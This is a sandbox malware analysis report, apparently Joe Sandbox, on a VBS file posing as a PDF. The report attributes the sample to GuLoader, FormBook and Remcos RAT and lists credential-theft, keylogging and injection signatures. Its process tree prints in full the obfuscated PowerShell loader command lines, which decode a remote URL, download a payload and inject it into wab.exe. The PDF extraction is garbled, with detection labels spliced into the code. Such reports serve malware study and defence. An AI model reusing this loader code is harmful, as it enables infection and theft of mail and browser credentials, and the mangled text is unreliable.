ID: 1358188
Sample Name:
doc129178202003180817410122023_pdf_(991KB).vbs
Cookbook: default.jbs
Time: 09:40:47
Date: 11/12/2023
Version: 38.0.0 Ammolite

Table of Contents
Table of Contents
Windows Analysis Report doc129178202003180817410122023_pdf_(991KB).vbs
Overview
General Information
Detection
Signatures
Classification

Process Tree
Malware Threat Intel
Malware Configuration
Yara Signatures
Dropped Files
Memory Dumps
Other

Sigma Signatures
Snort Signatures
Joe Sandbox Signatures
AV Detection
Networking
Key, Mouse, Clipboard, Microphone and Screen Capturing
E-Banking Fraud
System Summary
Data Obfuscation
Persistence and Installation Behavior
Boot Survival
Malware Analysis System Evasion
HIPS / PFW / Operating System Protection Evasion
Stealing of Sensitive Information
Remote Access Functionality

Mitre Att&ck Matrix
Behavior Graph
Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

2
5
5
5
5
5
5

5
7
7
7
7
8
8

8
8
9
9
9
10
10
10
10
10
10
10
10
10
10

11
11
12
12

13

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

13
13
13
13
13

Domains and IPs

14

Contacted Domains
Contacted URLs
URLs from Memory and Binaries
World Map of Contacted IPs
Public IPs

PrivateGeneral Information

14
14
15
17
17

17

17

Warnings

18

Simulations

18

Behavior and APIsJoe Sandbox View / Context
IPs
Domains
ASNs
JA3 Fingerprints
Dropped Files

Created / dropped Files(copy)
C:\ProgramData\Microsoft\Network\Downloader\edb.log
C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
C:\Users\user\AppData\Local\Temp\01_olH72
C:\Users\user\AppData\Local\Temp\Flank.vbs
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2g5db4w.pni.psm1
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esod5tky.ini.psm1
Copyright Joe Security LLC 2023

18

19
19
19
19
19
19

19
19
19
20
20
20
21
21
21
21
22
22
22
23
Page 2 of 57

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gtizlx0d.ow0.ps1
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huwvp1g1.qk4.ps1
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pce1czee.22e.psm1
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryzkm2d0.0hg.ps1
C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp
C:\Users\user\AppData\Local\Temp\hbgt
C:\Users\user\AppData\Roaming\BIT4B97.tmp
C:\Users\user\AppData\Roaming\BIT6AA.tmp
C:\Users\user\AppData\Roaming\aqloespt.dat

Static File Info
GeneralFile Icon

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph

Statistics
Behavior

System Behavior
Analysis Process: wscript.exePID: 6464, Parent PID: 1028
GeneralFile Activities

Analysis Process: powershell.exePID: 5968, Parent PID: 6464

23
23
23
24
24
24
24
25
25

26
26
26

26
26
26
27
29
29
29
29

30
30

30
30
30
31

31

GeneralFile Activities

31
31

File CreatedFile DeletedFile Written
File Read

31
33
33
34

Analysis Process: conhost.exePID: 5908, Parent PID: 5968
GeneralFile Activities

Analysis Process: cmd.exePID: 4852, Parent PID: 5968
GeneralFile Activities

Analysis Process: powershell.exePID: 4592, Parent PID: 5968

37
37
37

37
37
38

38

GeneralFile Activities

38
39

File CreatedFile DeletedFile Written
File Read

39
40
40
42

Analysis Process: cmd.exePID: 6044, Parent PID: 4592
GeneralFile Activities

Analysis Process: svchost.exePID: 5500, Parent PID: 632
GeneralFile Activities
Registry Activities

Analysis Process: wab.exePID: 6524, Parent PID: 4592

45
45
45

45
45
46
46

46

GeneralFile Activities

46
46

File CreatedFile DeletedFile Written
File Read

46
46
47
48

Registry Activities

48

Key Created
Key Value Created

48
48

Analysis Process: wab.exePID: 4708, Parent PID: 6524

50

GeneralFile Activities

50
50

File CreatedFile DeletedFile Written
File Read

50
50
50
51

Analysis Process: wab.exePID: 2604, Parent PID: 6524
GeneralAnalysis Process: wab.exePID: 2504, Parent PID: 6524
GeneralFile Activities
File CreatedAnalysis Process: wab.exePID: 6160, Parent PID: 6524

51
51

52
52
52
52

52

GeneralFile Activities

52
52

File CreatedFile Read

52
53

Analysis Process: wscript.exePID: 6092, Parent PID: 6524
GeneralAnalysis Process: powershell.exePID: 5912, Parent PID: 6092
GeneralAnalysis Process: conhost.exePID: 1488, Parent PID: 5912
GeneralAnalysis Process: cmd.exePID: 3920, Parent PID: 5912
GeneralAnalysis Process: wab.exePID: 356, Parent PID: 5912
Copyright Joe Security LLC 2023

53
53

53
53

54
54

54
55

55
Page 3 of 57

GeneralAnalysis Process: wab.exePID: 6596, Parent PID: 5912
GeneralAnalysis Process: VcdsjmiOSutUKwauEhOKSW.exePID: 6408, Parent PID: 6596
GeneralAnalysis Process: winver.exePID: 5024, Parent PID: 6408
GeneralAnalysis Process: firefox.exePID: 3168, Parent PID: 5024

55

55
55

56
56

56
56

56

General56

Disassembly57

Copyright Joe Security LLC 2023

Page 4 of 57

Windows Analysis Report
doc129178202003180817410122023_pdf_(991KB).vbs

Overview
General Information
Sample name:doc1291782020031808
17410122023_pdf_(991KB).vbs

Analysis ID:

1358188

MD5:72374f583680c…

Detection

Signatures

Classiﬁcation

Antivirus detection for URL or domain
Malicious sample detected (through…
Multi AV Scanner detection for dom…

SHA1:

bff6c75fb6b04b…

SHA256:77824c92761c…

Ransomware

Snort IDS alert for network traffic

Miner

VBScript performs obfuscated calls…

Spreadingmalicious
malicious
malicious
malicious

EvaderPhishing
suspicious
suspicious
suspicious
suspicious

Yara detected FormBook

Infos:

clean
clean
clean
clean

Yara detected GuLoader

FormBook, GuLoader,
RemcosExploiter

BankerYara detected Remcos RAT
SpywareContains functionality to modify clip…

Score:

100

Range:

0 - 100

Whitelisted:

falseFound suspicious powershell code r…

Confidence:

100%

Injects a PE file into a foreign proce…

Trojan / Bot

AdwareCreates multiple autostart registry k…

Installs a global keyboard hook
Maps a DLL or memory area into an…
Potential malicious VBS script foun…

Process Tree

Powershell uses Background Intellig…
Queries sensitive service informatio…

System is w10x64
Suspicious powershell command lin…
wscript.exe (PID: 6464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\doc129178202003180817410122023_pdf_(991KB).vbs"
MD5:
A47CBE969EA935BDD3AB568BB126BC80)
Tries to harvest and steal browser in…
powershell.exe (PID: 5968 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Beregneras ([String]$Shamsd){$Begrudgeme = 5;For($Perryrearw=4; $Perryrearw -lt $Shamsd.Length-1; $Perryrearw+=$Begrudgeme){ $Bibli4 = $Shams$Snap rep); $Bibli=$Bibli+$Bibli4; }$Bibli;}$Snaprep = (Tries to d.Substring($Perryrearw,
steal Instant Messenger ac…
cmd /c 'echo 1 && exit');$Bibli01=Beregneras 'DansiGradeAntixLens ';$Bibli02=Beregneras 'AbsoTPensrHarpa Bonn Spes Absf FreeForbrmontrKurtiBuernprimg Ing ';$Surmul =Beregneras ' Ign\NoncsMarmyNonas PakwPreho MagwSulk6Soci4 Arv\ UneWconciPrinnKulldHannononnwSubesSaniPLecyoSvamwAutoeSkolrginnSLacoh
Tries to steal Mail credentials (via fi…
InkeDystl Abil Ant\mennv Pla1Inte.Kigh0Slgt\UnerpMisdoBedswAfteebenerProwsNedbhNavnePhenlExeclBecl. krge TabxArtieDamm ';function Delege ($Grat){. ($Bibli01) ($Grat);}$Skkelu=Beregneras
Tries to steal
Mail credentials (via fi…
'SlanhGenltOutrtTrawpGino:Rece/Ebra/streaTrialRegeoAnapt MisrSkynoKaripAwariCarba Ned.Prims
FaraVatt.StabcKryboUndemFone/Wron.CheiwIntre
GrulhjtilSump-Nonu
kResun SkuoAnthwFinin Sti/HierkroaczBiod/ForwS Svel AlvaLandaUpap. SteuGenn3 Ove2Rere ';Delege (Beregneras 'Alko$Stjsg PlalRevioLighb FejaHanhl Apo: ChyBTownaaftellong commandline 'Fore$misagToill
found
Sona MelnCullcNegl2Rhin=drne$TulieLacqnRativSuck: FjowDisriCirknAfladQuoki Ainr ShaVery') ;Delege(Beregneras
AstoSvrhbConfaKonrlMuli: AnmBOli
vaRoqulOveraTilsnNonpcDika6Pole=Gimc$ ErgB Tria anelHamsa LiknAmphcStru2Enqu+Unso$SmugSChriu BryrComfmRhynuhalvlPubl ') ;Delege (Beregneras 'Kodi$Proeg
Scripting
hostMismMagei
queries sus…
FrolStuboJustbPaddaBegolTrop:DigiBWeekaPreulBavnaPaulnSvigcVanr3 Fas Unqu= KonWindows
Indi(Pseu(
CergKultw
Wor GfmrwUngriIntenAfso3Adno2Blte_ IndpKnhjrDict
oLykscHngeeStivsLsgasDrej Prin-SkraFSval undePSpecrBroaoIsolcBurre CersIants UdsIParadMark= For$Kash{ HypPMollI AndDPejs}Alfa)Sane.thinC KrsoRegim Tin
Writes to foreign memory regions
mFlacaSporn TradGenoLGidsiReminCogoeStep)Unpr Tale-HerrsskydpReallPneuiNonptPatr Sori[ und cNonshOutca ButrSord]Fjer3unti4 Kam ');Delege (Beregneras 'Perc$ Untgf
loploutwo Taib SliaLrevlSuda:RetnBByzoaBennlFussaventnMonocImma4Ilia Mosl=Milj Dser$VaadBPureaTabulStamaAggrnPhytcCloc3Abso[Slug$ PosB HrvaEposlLameaT
Wscript starts Powershell (via cmd …
anznBgescKlin3Kosm. RhocLuxuo Paru EgenAlsttActu- Bri2Rese]Sten ');Delege (Beregneras 'Konv$CapsgOplslSupeoPatub Cona UdglAksi:HurlBCeliaFulwl AeraForgnRosecAut
o5magn=Coun(HvedTOvereApplsKyant you-KejsP YamaHyret LachMicr Hobb$SpilBNasaaNonplMillaDilonDiescPuls6Chok)visc
Checks if the current process is bei… Jus-unde ABeronHelsd Tri Bisp( Uha[DyreI
RetnCadetCompPKaartArverEmbr]Bati: vil:HistsCaroiDrftzMooneLykk Kold-NedfeUpstqLder Vol8Syrl)fors ') ;if ($Balanc5) {& $Balanc6 $Balanc4;} else {;$Bibli00=Beregneras'haft$ AltgTheolUrefo TegbHistaLittlLiar:StraBIdetaSodalScreaDearnSkrdcDile8 Slv Rdsk=Glen
StifSAstetPlataLinjrGodtt
fan-LnreB
Fili DestHelds IndT SenrUnhaaReab
Contains
functionality for read data…
nDelesBeauf unmefrih r Myg punt-CestS KoeoBogeuBanarMelac FinePunt Grad$DungSgnatkKnapkConveKnoclfattuBest Vilj- EneDSmigeFllesBarbtVestiPrefnAnlgaPopp
tBoliiTantoEntanNatk Gisf$PursBAnoladoktlcaixaFeltn ForcBoli2Neda ';Delege (Beregneras'Fost$ FlugcocclOphjoOmvebFilma
Contains
functionality to access loa… MaglOogl:moteBembuaUnprlEmdeaKronn SkocCh
on2Magn=Cori$FreneGemenMiksvKons:InfiaGodgpMetrpUnjodMilja TratAfslaKryp ') ;Delege (Beregneras 'PhocILongmplejpBlgfoOplyrTragtnona- HaaM Co ao NondIrrauTelelOpt
aeBakk RalpB ViriintetFidisInlaTIndsr DamaVaadn Abbs BenfrigseGyrarCasu ') ;$Balanc2=$Balanc2+'\Celadonp.Ion'
Contains functionality to call;Delege
native …
(Beregneras 'Salv$ VisgZonelbidroDefebSubi
adrejlTran:DeneBMicraSspelVegea Udsn Stecfors7 Dec=Tang(ProgT ForeCoalsfolktFred- MacPModea Sert DruhForg Ele$LeksBColuaFlerlTuriaRiflnOutfcAlmi2Abel)Agno ') ;w
Contains functionality to check if a d…
hile (-not $Balanc7) {Delege (Beregneras 'BumwIUnbrf Sub Indp(Till$EpisBsphea Du nlStataKursnBlancGhaz8Vejr.NaolJTirroHypobInteSRikat
kamaVasktDisseTviv unb-NoveeFinaqUdda Fors$uhjlBVanmiUnclbIntelEksti lem0 non2Mili)Path All{BeskS BlatUvenahjrnrbulgtSnif-CentSSardlEgneeManie KompArbi Dryp1Morf}AbeneSkablPenls Slae Und{
Contains
functionality to check thep…
NoneSAflytSendaUnfrrgutttButb-MicrSAxmal RupeMafieUmbrp Nut sknh1Unde;KramDErpieSyssl
WaxeNoncgTankeCulm
hove$FremBEruciMuggbBigalGlopiFjan0Mith0Kej}Eryt');Delege (Beregneras 'Crum$TelogChirlDyreo topb BygaGiralRets: BesBRelaaUdstlMacraSprgn AllcLinj7supp=Kerc(FalsT OveeGennsOvertEfte-tilsPRosiaPremtUforhMind
Contains functionality to dynamicall…
for$TestBBedea applTangaGallnKlusc Haa2 Rie) Kat ') ;}Delege (Beregneras 'Stat$BreagUniplLangoNikkbOmska
MellDivi:HydrU Livn An pfAnlgaHarr Lusk=Jobh FagoGUnt
reRegntJend-DoctC KlaoGlannSkdetImiteFananNondtEmot Rdns$EfteB AboaTabalOmkraDeutnsygecPrae2Opre ');Delege (Beregneras 'Spol$TobagLibyl Scuo probBeska
Contains functionality to query CPU…
Flyvlbibl: Neldantia RipmUnivpUpflsEnth Side= Tak Skr[MegaSMachyPlumsUnsatSimueAdormUnde.HoveCSmeloLigun IntvCoeseUnderDermtMono] Ani:Sinu:ClosFHover Trao
KommSvanBstryaCraisPhile Rac6stud4DeliSWrottMixor Alliskiwn BelgChem( Ekv$afmrUIntenSekvfDagsaChie)Hule ');Delege (Beregneras 'Erne$IntegDklil ObsoTravbTor
Contains functionality to read the PE…
kaDjvelTour:SkarBMiljiTitubFrill smeiAdli2Macu Rad=Thun Glde[ RedSFloky trisStaatvehie spamFork. SmeTInkleTurbxRecutBrse.LivsERippnFantc SeloAeradHeksiPapinuret
gthat]Okta:Kros: PlaAKuliSUdplCEpicI KarIDedu.OptaGDrileopsktAssiSComrtQuaar EstiBresnOphagFost(Tids$
ChedUncoaSneam
Afdp BygsCock)Pilo ');Delege (Beregneras 'P
Contains functionality which
may be…
ris$stylgAdsolUindoThatbModeaBattlSelv:DrngBStueiAktibKonclLeuciOver3 sub=Udre$IntrBSkruiOffebAdorlAfvaiUnal2Emda.FastsVenou Brab MersolietOverrEvaliMaurnTrmlgS
kmt(Gala2Paas8Hinc6kult8Prop6Disc0Bevb,Usin1 Afs8Judi4Biof0 For6Bole) Whi ');DelegeContains$Bibli3;};;MD5:04029E121A0CFA5991749937DD22A1D9)
long
sleeps(>= 3 min)conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
a process in suspended mo…
cmd.exe (PID: 4852 cmdline: C:\Windows\system32\cmd.exe" /c "echo 1 && exitCreates
MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Copyright Joe Security LLC 2023

Page 5 of 57

powershell.exe (PID: 4592 cmdline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Beregneras ([String]$Shamsd){$Begrudgeme =5;For($Perryrearw=4; $Perryrearw -lt $Shamsd.Length-1; $Perryrearw+=$Begrudgeme){ $Bibli4 = $Shams d.Substring($Perryrearw, $Snap rep); $Bibli=$Bibli+$Bibli4; }$Bibli;}$Snaprep = (cmd /c 'echo 1 && exit');$Bibli01=Beregneras 'DansiGradeAntixLens ';$Bibli02=Beregneras 'AbsoTPensrHarpa Bonn Spes Absf FreeForbrmontrKurtiB
uernprimg Ing ';$Surmul = Beregneras ' Ign\NoncsMarmyNonas PakwPreho MagwSulk6Soci4 Arv\ UneWconciPrinnKulldHannononnwSubesSaniPLecyoSvamwAutoeSkolrgi
nnSLacoh InkeDystl Abil Ant\mennv Pla1Inte.Kigh0Slgt\UnerpMisdoBedswAfteebenerProwsNedbhNavnePhenlExeclBecl. krge TabxArtieDamm ';function Delege ($Grat){. ($Bi
bli01) ($Grat);}$Skkelu=Beregneras 'SlanhGenltOutrtTrawpGino:Rece/Ebra/streaTrialRegeoAnapt MisrSkynoKaripAwariCarba Ned.Prims FaraVatt.StabcKryboUnde
mFone/Wron.CheiwIntre GrulhjtilSump-NonukResun SkuoAnthwFinin Sti/HierkroaczBiod/ForwS Svel AlvaLandaUpap. SteuGenn3 Ove2Rere ';Delege (Beregneras 'Alko$Stjsg
PlalRevioLighb FejaHanhl Apo: ChyBTownaaftel Sona MelnCullcNegl2Rhin=drne$TulieLacqnRativSuck: FjowDisriCirknAfladQuoki Ainr Sha ') ;Delege (Beregneras 'Fore$mis
agToill AstoSvrhbConfaKonrlMuli: AnmBOlivaRoqulOveraTilsnNonpcDika6Pole=Gimc$ ErgB Tria anelHamsa LiknAmphcStru2Enqu+Unso$SmugSChriu BryrComfmRhynuhal
vlPubl ') ;Delege (Beregneras 'Kodi$Proeg FrolStuboJustbPaddaBegolTrop:DigiBWeekaPreulBavnaPaulnSvigcVanr3 Fas Unqu= Kon Indi(Pseu( CergKultw MismMagei Wor
GfmrwUngriIntenAfso3Adno2Blte_ IndpKnhjrDictoLykscHngeeStivsLsgasDrej Prin-SkraFSval undePSpecrBroaoIsolcBurre CersIants UdsIParadMark= For$Kash{ HypPMollI
AndDPejs}Alfa)Sane.thinC KrsoRegim TinmFlacaSporn TradGenoLGidsiReminCogoeStep)Unpr Tale-HerrsskydpReallPneuiNonptPatr Sori[ und cNonshOutca ButrSord]Fjer3unti4 Kam ');Delege (Beregneras 'Perc$ Untgfloploutwo Taib SliaLrevlSuda:RetnBByzoaBennlFussaventnMonocImma4Ilia Mosl=Milj Dser$VaadBPureaTabulS
tamaAggrnPhytcCloc3Abso[Slug$ PosB HrvaEposlLameaTanznBgescKlin3Kosm. RhocLuxuo Paru EgenAlsttActu- Bri2Rese]Sten ');Delege (Beregneras 'Konv$CapsgOpl
slSupeoPatub Cona UdglAksi:HurlBCeliaFulwl AeraForgnRosecAuto5magn=Coun(HvedTOvereApplsKyant you-KejsP YamaHyret LachMicr Hobb$SpilBNasaaNonplMillaDil
onDiescPuls6Chok)visc Jus-unde ABeronHelsd Tri Bisp( Uha[DyreI RetnCadetCompPKaartArverEmbr]Bati: vil:HistsCaroiDrftzMooneLykk Kold-NedfeUpstqLder Vol8Syrl)fors') ;if ($Balanc5) {& $Balanc6 $Balanc4;} else {;$Bibli00=Beregneras 'haft$ AltgTheolUrefo TegbHistaLittlLiar:StraBIdetaSodalScreaDearnSkrdcDile8 Slv Rdsk=Glen StifSAste
tPlataLinjrGodtt fan-LnreB Fili DestHelds IndT SenrUnhaaReabnDelesBeauf unmefrih r Myg punt-CestS KoeoBogeuBanarMelac FinePunt Grad$DungSgnatkKnapkConv
eKnoclfattuBest Vilj- EneDSmigeFllesBarbtVestiPrefnAnlgaPopptBoliiTantoEntanNatk Gisf$PursBAnoladoktlcaixaFeltn ForcBoli2Neda ';Delege (Beregneras 'Fost$ Flugco
cclOphjoOmvebFilma MaglOogl:moteBembuaUnprlEmdeaKronn SkocChon2Magn=Cori$FreneGemenMiksvKons:InfiaGodgpMetrpUnjodMilja TratAfslaKryp ') ;Delege (Bereg
neras 'PhocILongmplejpBlgfoOplyrTragtnona- HaaM Co ao NondIrrauTelelOptaeBakk RalpB ViriintetFidisInlaTIndsr DamaVaadn Abbs BenfrigseGyrarCasu ') ;$Balanc2=$Bala
nc2+'\Celadonp.Ion' ;Delege (Beregneras 'Salv$ VisgZonelbidroDefebSubiadrejlTran:DeneBMicraSspelVegea Udsn Stecfors7 Dec=Tang(ProgT ForeCoalsfolktFredMacPModea Sert DruhForg Ele$LeksBColuaFlerlTuriaRiflnOutfcAlmi2Abel)Agno ') ;while (-not $Balanc7) {Delege (Beregneras 'BumwIUnbrf Sub Indp(Till$EpisBsphea Du
nlStataKursnBlancGhaz8Vejr.NaolJTirroHypobInteSRikat kamaVasktDisseTviv unb-NoveeFinaqUdda Fors$uhjlBVanmiUnclbIntelEksti lem0 non2Mili)Path All{BeskS
BlatUvenahjrnrbulgtSnif-CentSSardlEgneeManie KompArbi Dryp1Morf}AbeneSkablPenls Slae Und{NoneSAflytSendaUnfrrgutttButb-MicrSAxmal RupeMafieUmbrp Nut
sknh1Unde;KramDErpieSyssl WaxeNoncgTankeCulm hove$FremBEruciMuggbBigalGlopiFjan0Mith0 Kej}Eryt ');Delege (Beregneras 'Crum$TelogChirlDyreo topb BygaGi
ralRets: BesBRelaaUdstlMacraSprgn AllcLinj7supp=Kerc(FalsT OveeGennsOvertEfte-tilsPRosiaPremtUforhMind for$TestBBedea applTangaGallnKlusc Haa2 Rie) Kat ') ;}Delege (Beregneras 'Stat$BreagUniplLangoNikkbOmska MellDivi:HydrU Livn An pfAnlgaHarr Lusk=Jobh FagoGUntreRegntJend-DoctC KlaoGlannSkdetImiteFananNondtEmot
Rdns$EfteB AboaTabalOmkraDeutnsygecPrae2Opre ');Delege (Beregneras 'Spol$TobagLibyl Scuo probBeskaFlyvlbibl: Neldantia RipmUnivpUpflsEnth Side= Tak
Skr[MegaSMachyPlumsUnsatSimueAdormUnde.HoveCSmeloLigun IntvCoeseUnderDermtMono] Ani:Sinu:ClosFHover Trao KommSvanBstryaCraisPhile Rac6stud4D
eliSWrottMixor Alliskiwn BelgChem( Ekv$afmrUIntenSekvfDagsaChie)Hule ');Delege (Beregneras 'Erne$IntegDklil ObsoTravbTorkaDjvelTour:SkarBMiljiTitubFrill smeiAdl
i2Macu Rad=Thun Glde[ RedSFloky trisStaatvehie spamFork. SmeTInkleTurbxRecutBrse.LivsERippnFantc SeloAeradHeksiPapinuretgthat]Okta:Kros: PlaAKuliSUdplCEpicI
KarIDedu.OptaGDrileopsktAssiSComrtQuaar EstiBresnOphagFost(Tids$ ChedUncoaSneam Afdp BygsCock)Pilo ');Delege (Beregneras 'Pris$stylgAdsolUindoThatbModeaB
attlSelv:DrngBStueiAktibKonclLeuciOver3 sub=Udre$IntrBSkruiOffebAdorlAfvaiUnal2Emda.FastsVenou Brab MersolietOverrEvaliMaurnTrmlgSkmt(Gala2Paas8Hinc6k
ult8Prop6Disc0Bevb,Usin1 Afs8Judi4Biof0 For6Bole) Whi ');Delege $Bibli3;};; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
cmd.exe (PID: 6044 cmdline: C:\Windows\system32\cmd.exe" /c "echo 1 && exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
wab.exe (PID: 6524 cmdline: C:\Program Files (x86)\windows mail\wab.exe MD5: 251E51E2FEDCE8BB82763D39D631EF89)
wab.exe (PID: 4708 cmdline: C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\hbgt MD5:
251E51E2FEDCE8BB82763D39D631EF89)
wab.exe (PID: 2604 cmdline: C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\jdudahz MD5:
251E51E2FEDCE8BB82763D39D631EF89)
wab.exe (PID: 2504 cmdline: C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\jdudahz MD5:
251E51E2FEDCE8BB82763D39D631EF89)
wab.exe (PID: 6160 cmdline: C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\uxzwazjmqj MD5:
251E51E2FEDCE8BB82763D39D631EF89)
wscript.exe (PID: 6092 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Flank.vbs" MD5:
FF00E0480075B095948000BDC66E81F0)
powershell.exe (PID: 5912 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Postula ([String]$Banghedenc){$kidstikbkk= 5;For($Forklo217=4; $Forklo217 -lt $Banghedenc.Length-1; $Forklo217+=$kidstikbkk){ $Gigger4 = $Banghedenc.Substring($Forklo217, $ergo); $Gigger=$Gi
gger+$Gigger4; }$Gigger;}$ergo = (cmd /c 'echo 1 & & exit');$Gigger01=Postula 'Stasi DiseMelaxOuts ';$Gigger02=Postula 'dousTReacr ButaGnusnSmalsAntifN
onceAflerKamgr NoiiquinnNoncgFlac ';$Hyda = Postula ' Out\ S ussMicryProbsCaluwHagdoFibrwEpig6Vand4Lace\IntrWNahui Uten ChadSceno KogwDikksBu
rePFeato ConwCockeHyper SolSPubehDuumeRaptlTekslselv\PelmvTilf1Supr.Asym0Newn\ AdmpLhuno CarwDecieTamergaons ElehScepetiatlDybgl G
er.KildeSiphxnonmeTetr ';function Impulsfun ($frond){& ($Gigger01) ($frond);}$Paje=Postula 'bssehCabbt HogtbelapBado:Oxyd/Comb/ Hane BlicDikeoCikox prf.
SvapTopptVell/ReinrreupeEremsMuste FeraMokkuSnipx Sbe.KeanlRubbpCarrkUnva ';Impulsfun (Postula ' Skr$HospgpartlMagnoOverbBedraGstelBlad:S
usuPHeksiOutscHjerosluktAlloeAposd AfstNdri2 Red=Knib$AmpheSyltnSkrsvPart:Forew Tati Forn perdGumliNotarTurb ') ;Impulsfun (Postula 'kons$Religtopsl K
enoJulebFrema PialRhon: OvePJyskiKonkcNonio Hant Mtve ttndSupet Ost6Gala=Bant$TriwPCupeiextrcNonpoSprot DebeFirsdAkimtElko2Hjti+moto$ FraHVa
poyJarndSubca Sei ') ;Impulsfun (Postula 'Forb$ Crog pholForeoMagibVandaAztelQues:NgaiPScaliFistcCycloSniptsnyleMenadAntit Uns3Bili Glor=Abeldem(Anar(FucigPoltwGuldmIlluiToni ManwTheriEkstnAnne3Toil2Owls_CosupvinerCompoNonfcGteseOdousAftas Wes Leon-kherFEqua StemPRuffrBrinoTurpc
Svine LucsRengs LatI mandSyph=sans$ Til{phaePhandIPseuD Tit}Cana) Cen.HippCUnteoOncomClavmTilkaMetanSkjad GifL Phoi ZipnUnreeChid)Disa MaraAtris IndphovelUnbei DiptMarl Mon[ wedcHoodhNonhaOverr Pau]Unsh3Nond4Orni ');Impulsfun (Postula 'mixo$OmstgBusblCocho PirbNonoaGinglarbe:SlurP
OutiDiskcZeppoTungtForseTrredFarttSigi4Nont Tran= Kli Bert$reatPNriniMonocBindocanntRockeOmardnonrtLipo3Ordf[Syru$LactP HoviVrelcSataoOve
rtJuleeSkirdSpletComm3Subm.unpucManiostocu SolnbashtAalb- Mid2Mell] ety ');Impulsfun (Postula 'Isol$Samtg SkulTranotnkebDeacaShrolUndv:MiliPProdi
SulcMetroAttetTelee UnpdHonetVidu5Shie=Spec(PopuT Kome BessStret Lyd-AandP AviaSkamtstenhTopa Udv$HensP StuiMimecAmusoEntetProteDansdJ
uratselv6Agen)Chur Krli- MasAWassnSterdColl Unst(Equi[ lagIHenlnFluotSmerPSfort EddrPara]Fane:Isot:strisBrawiUndezAnlgePala Bank-JarleSproqSpry Brak8cou)Furo ') ;if ($Picotedt5) {& $Picotedt6 $Picotedt4;} else {;$Gigger00=Postula 'Husm$Snazg Hatldigio MarbAutoaGirelSlkk:BekrPUntoiRullcSporoOmort
HavfeEndndParktHank8Frit Nona= Alb SammSvikltTredaSudarIndit Hyp-skriBEnteiSuprtDrilsGammT bygrKielaCommn MissFaldfnonceNotar ono Krop-LobwS
EfteoSolcuTeksrMaltcStrueKist Hav$RealPOldtaoranjSchiePigm Lach-RegrDPrimeDerms Mist HaiiMicrnForbaGrnstPlaiiDieto CounFles Epik$DynaP SkriF
ocucKolooovertGenoeOprydVandtUnsp2 Bil ';Impulsfun (Postula 'Prop$KlosgKopplLjpeoReelbForraForslDrje:MadoPGrimiSydacTremoSyttt ForeEgnsdDetet
old2Povl=Vran$RundeSprin HervIndl:NedpaSulfpFallpStandSlutaClemtMekaaNaem ') ; Impulsfun (Postula 'RyttITorvmAlkopparaoMiddrBiputPani- TenM
UnfooUdgidttteuSanglStvneAfmi SeneB KaiiPeritFoldsLaceTMarkrUnexaUnacn UnesSrbof LedeMisercydi ') ;$Picotedt2=$Picotedt2+'\Dysc.nit' ;Impulsfun (Postu
la 'Pers$BrangHomolUnbaoLifobseisanybylViri:DdelPMicri OpgcJ udioPachtPerieForadLnfotLigh7 ska=Over(EkspTHammeLithsfrget Sol-LeukPTornaTinnt
HythTrin Onli$YellPanrai FolcSmeroOnomt BeneForsd Bilt res2Stil)Timi ') ;while (-not $Picotedt7) {Impulsfun (Postula ' KafIPandfPlea Stan(Indt$AnalPPr
imiAcidcNonuo FretFerreQuizdOmrytBram8Vral.FejdJUdnyoStolbHyklSRetntEscaaImmut ThoeHexa Sjle-knevetlinqulov Rebe$FrysGPyoriHarrgSafig BlieEn
harMono0Crud2Wien) Sli Badd{tillSDisktBifaa MairUndetServ-CaiqS ByglFabrenedeemcdop Vik Vi de1Radi}DisaeCykllLutrsCuspePans{vikiSDekltReviaDk
kerFlyttAcro-LukkSdainlFindeDerae NatpBear Anet1Pref;RfeyI MermBaddp ResuOmikl VulsEftefStemu Bign Loq Loc$TranGUdvaiTunngMattg SomescabrSol
f0Stil0Befr}Gast ');Impulsfun (Postula 'Denn$Lensg SkjlSmlkoRidebSwinaPauslKrak:caprPCemei IcccTermoArtitOmfaeImpad TratStre7Fejl=whit(HenrT
AllaeCress FemtShic-MarcPInteaHosetIndlhSvar Dolo$UnrePNarriErrhcSprooPalptMisteSaradOvertUnsp2Impr)Mine ') ;}Impulsfun (Postula 'Samb$Skrugbrysl
PrioTrykbLeuca EnelBuff:FrauTAnlgiRetslFrakbBgeruFinsdStonsReflpSharrPhon salt=roeg ConG SpaeTrictBona-BrigCDaseoBeabnyarntPakseTromnnonatColo
